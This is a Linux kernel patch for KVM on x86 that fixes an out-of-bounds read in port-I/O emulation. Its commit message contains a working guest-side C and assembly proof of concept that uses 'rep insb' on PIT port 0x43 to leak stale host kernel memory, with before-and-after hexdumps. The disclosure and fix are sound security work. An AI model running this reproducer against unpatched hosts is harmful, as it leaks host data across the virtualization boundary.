From 1f605a5aa63d94981bf465b7e6d0cecb3046e02f Mon Sep 17 00:00:00 2001 From: Wanpeng Li Date: Fri, 19 May 2017 02:46:56 -0700 Subject: [PATCH] KVM: X86: Fix read out-of-bounds vulnerability in kvm pio emulation MIME-Version: 1.0 Content-Type: text/plain; charset=utf8 Content-Transfer-Encoding: 8bit Huawei folks reported a read out-of-bounds vulnerability in kvm pio emulation. - "inb" instruction to access PIT Mod/Command register (ioport 0x43, write only, a read should be ignored) in guest can get a random number. - "rep insb" instruction to access PIT register port 0x43 can control memcpy() in emulator_pio_in_emulated() to copy max 0x400 bytes but only read 1 bytes, which will disclose the unimportant kernel memory in host but no crash. The similar test program below can reproduce the read out-of-bounds vulnerability: void hexdump(void *mem, unsigned int len) { unsigned int i, j; for(i = 0; i < len + ((len % HEXDUMP_COLS) ? (HEXDUMP_COLS - len % HEXDUMP_COLS) : 0); i++) { /* print offset */ if(i % HEXDUMP_COLS == 0) { printf("0x%06x: ", i); } /* print hex data */ if(i < len) { printf("%02x ", 0xFF & ((char*)mem)[i]); } else /* end of block, just aligning for ASCII dump */ { printf(" "); } /* print ASCII dump */ if(i % HEXDUMP_COLS == (HEXDUMP_COLS - 1)) { for(j = i - (HEXDUMP_COLS - 1); j <= i; j++) { if(j >= len) /* end of block, not really printing */ { putchar(' '); } else if(isprint(((char*)mem)[j])) /* printable char */ { putchar(0xFF & ((char*)mem)[j]); } else /* other char */ { putchar('.'); } } putchar('\n'); } } } int main(void) { int i; if (iopl(3)) { err(1, "set iopl unsuccessfully\n"); return -1; } static char buf[0x40]; /* test ioport 0x40,0x41,0x42,0x43,0x44,0x45 */ memset(buf, 0xab, sizeof(buf)); asm volatile("push %rdi;"); asm volatile("mov %0, %%rdi;"::"q"(buf)); asm volatile ("mov $0x40, %rdx;"); asm volatile ("in %dx,%al;"); asm volatile ("stosb;"); asm volatile ("mov $0x41, %rdx;"); asm volatile ("in %dx,%al;"); asm volatile ("stosb;"); asm volatile ("mov $0x42, %rdx;"); asm volatile ("in %dx,%al;"); asm volatile ("stosb;"); asm volatile ("mov $0x43, %rdx;"); asm volatile ("in %dx,%al;"); asm volatile ("stosb;"); asm volatile ("mov $0x44, %rdx;"); asm volatile ("in %dx,%al;"); asm volatile ("stosb;"); asm volatile ("mov $0x45, %rdx;"); asm volatile ("in %dx,%al;"); asm volatile ("stosb;"); asm volatile ("pop %rdi;"); hexdump(buf, 0x40); printf("\n"); /* ins port 0x40 */ memset(buf, 0xab, sizeof(buf)); asm volatile("push %rdi;"); asm volatile("mov %0, %%rdi;"::"q"(buf)); asm volatile ("mov $0x20, %rcx;"); asm volatile ("mov $0x40, %rdx;"); asm volatile ("rep insb;"); asm volatile ("pop %rdi;"); hexdump(buf, 0x40); printf("\n"); /* ins port 0x43 */ memset(buf, 0xab, sizeof(buf)); asm volatile("push %rdi;"); asm volatile("mov %0, %%rdi;"::"q"(buf)); asm volatile ("mov $0x20, %rcx;"); asm volatile ("mov $0x43, %rdx;"); asm volatile ("rep insb;"); asm volatile ("pop %rdi;"); hexdump(buf, 0x40); printf("\n"); return 0; } The vcpu->arch.pio_data buffer is used by both in/out instrutions emulation w/o clear after using which results in some random datas are left over in the buffer. Guest reads port 0x43 will be ignored since it is write only, however, the function kernel_pio() can't distigush this ignore from successfully reads data from device's ioport. There is no new data fill the buffer from port 0x43, however, emulator_pio_in_emulated() will copy the stale data in the buffer to the guest unconditionally. This patch fixes it by clearing the buffer before in instruction emulation to avoid to grant guest the stale data in the buffer. In addition, string I/O is not supported for in kernel device. So there is no iteration to read ioport %RCX times for string I/O. The function kernel_pio() just reads one round, and then copy the io size * %RCX to the guest unconditionally, actually it copies the one round ioport data w/ other random datas which are left over in the vcpu->arch.pio_data buffer to the guest. This patch fixes it by introducing the string I/O support for in kernel device in order to grant the right ioport datas to the guest. Before the patch: 0x000000: fe 38 93 93 ff ff ab ab .8...... 0x000008: ab ab ab ab ab ab ab ab ........ 0x000010: ab ab ab ab ab ab ab ab ........ 0x000018: ab ab ab ab ab ab ab ab ........ 0x000020: ab ab ab ab ab ab ab ab ........ 0x000028: ab ab ab ab ab ab ab ab ........ 0x000030: ab ab ab ab ab ab ab ab ........ 0x000038: ab ab ab ab ab ab ab ab ........ 0x000000: f6 00 00 00 00 00 00 00 ........ 0x000008: 00 00 00 00 00 00 00 00 ........ 0x000010: 00 00 00 00 4d 51 30 30 ....MQ00 0x000018: 30 30 20 33 20 20 20 20 00 3 0x000020: ab ab ab ab ab ab ab ab ........ 0x000028: ab ab ab ab ab ab ab ab ........ 0x000030: ab ab ab ab ab ab ab ab ........ 0x000038: ab ab ab ab ab ab ab ab ........ 0x000000: f6 00 00 00 00 00 00 00 ........ 0x000008: 00 00 00 00 00 00 00 00 ........ 0x000010: 00 00 00 00 4d 51 30 30 ....MQ00 0x000018: 30 30 20 33 20 20 20 20 00 3 0x000020: ab ab ab ab ab ab ab ab ........ 0x000028: ab ab ab ab ab ab ab ab ........ 0x000030: ab ab ab ab ab ab ab ab ........ 0x000038: ab ab ab ab ab ab ab ab ........ After the patch: 0x000000: 1e 02 f8 00 ff ff ab ab ........ 0x000008: ab ab ab ab ab ab ab ab ........ 0x000010: ab ab ab ab ab ab ab ab ........ 0x000018: ab ab ab ab ab ab ab ab ........ 0x000020: ab ab ab ab ab ab ab ab ........ 0x000028: ab ab ab ab ab ab ab ab ........ 0x000030: ab ab ab ab ab ab ab ab ........ 0x000038: ab ab ab ab ab ab ab ab ........ 0x000000: d2 e2 d2 df d2 db d2 d7 ........ 0x000008: d2 d3 d2 cf d2 cb d2 c7 ........ 0x000010: d2 c4 d2 c0 d2 bc d2 b8 ........ 0x000018: d2 b4 d2 b0 d2 ac d2 a8 ........ 0x000020: ab ab ab ab ab ab ab ab ........ 0x000028: ab ab ab ab ab ab ab ab ........ 0x000030: ab ab ab ab ab ab ab ab ........ 0x000038: ab ab ab ab ab ab ab ab ........ 0x000000: 00 00 00 00 00 00 00 00 ........ 0x000008: 00 00 00 00 00 00 00 00 ........ 0x000010: 00 00 00 00 00 00 00 00 ........ 0x000018: 00 00 00 00 00 00 00 00 ........ 0x000020: ab ab ab ab ab ab ab ab ........ 0x000028: ab ab ab ab ab ab ab ab ........ 0x000030: ab ab ab ab ab ab ab ab ........ 0x000038: ab ab ab ab ab ab ab ab ........ Reported-by: Moguofang Cc: Paolo Bonzini Cc: Radim Krčmář Cc: Moguofang Signed-off-by: Wanpeng Li Cc: stable@vger.kernel.org Signed-off-by: Radim Krčmář --- arch/x86/kvm/x86.c | 24 +++++++++++++++--------- 1 file changed, 15 insertions(+), 9 deletions(-) diff --git a/arch/x86/kvm/x86.c b/arch/x86/kvm/x86.c index 3b5fc7e35f6ef..519f3572e48e2 100644 --- a/arch/x86/kvm/x86.c +++ b/arch/x86/kvm/x86.c @@ -4831,16 +4831,20 @@ emul_write: static int kernel_pio(struct kvm_vcpu *vcpu, void *pd) { - /* TODO: String I/O for in kernel device */ - int r; + int r = 0, i; - if (vcpu->arch.pio.in) - r = kvm_io_bus_read(vcpu, KVM_PIO_BUS, vcpu->arch.pio.port, - vcpu->arch.pio.size, pd); - else - r = kvm_io_bus_write(vcpu, KVM_PIO_BUS, - vcpu->arch.pio.port, vcpu->arch.pio.size, - pd); + for (i = 0; i < vcpu->arch.pio.count; i++) { + if (vcpu->arch.pio.in) + r = kvm_io_bus_read(vcpu, KVM_PIO_BUS, vcpu->arch.pio.port, + vcpu->arch.pio.size, pd); + else + r = kvm_io_bus_write(vcpu, KVM_PIO_BUS, + vcpu->arch.pio.port, vcpu->arch.pio.size, + pd); + if (r) + break; + pd += vcpu->arch.pio.size; + } return r; } @@ -4878,6 +4882,8 @@ static int emulator_pio_in_emulated(struct x86_emulate_ctxt *ctxt, if (vcpu->arch.pio.count) goto data_avail; + memset(vcpu->arch.pio_data, 0, size * count); + ret = emulator_pio_in_out(vcpu, size, port, val, count, true); if (ret) { data_avail: -- 2.39.5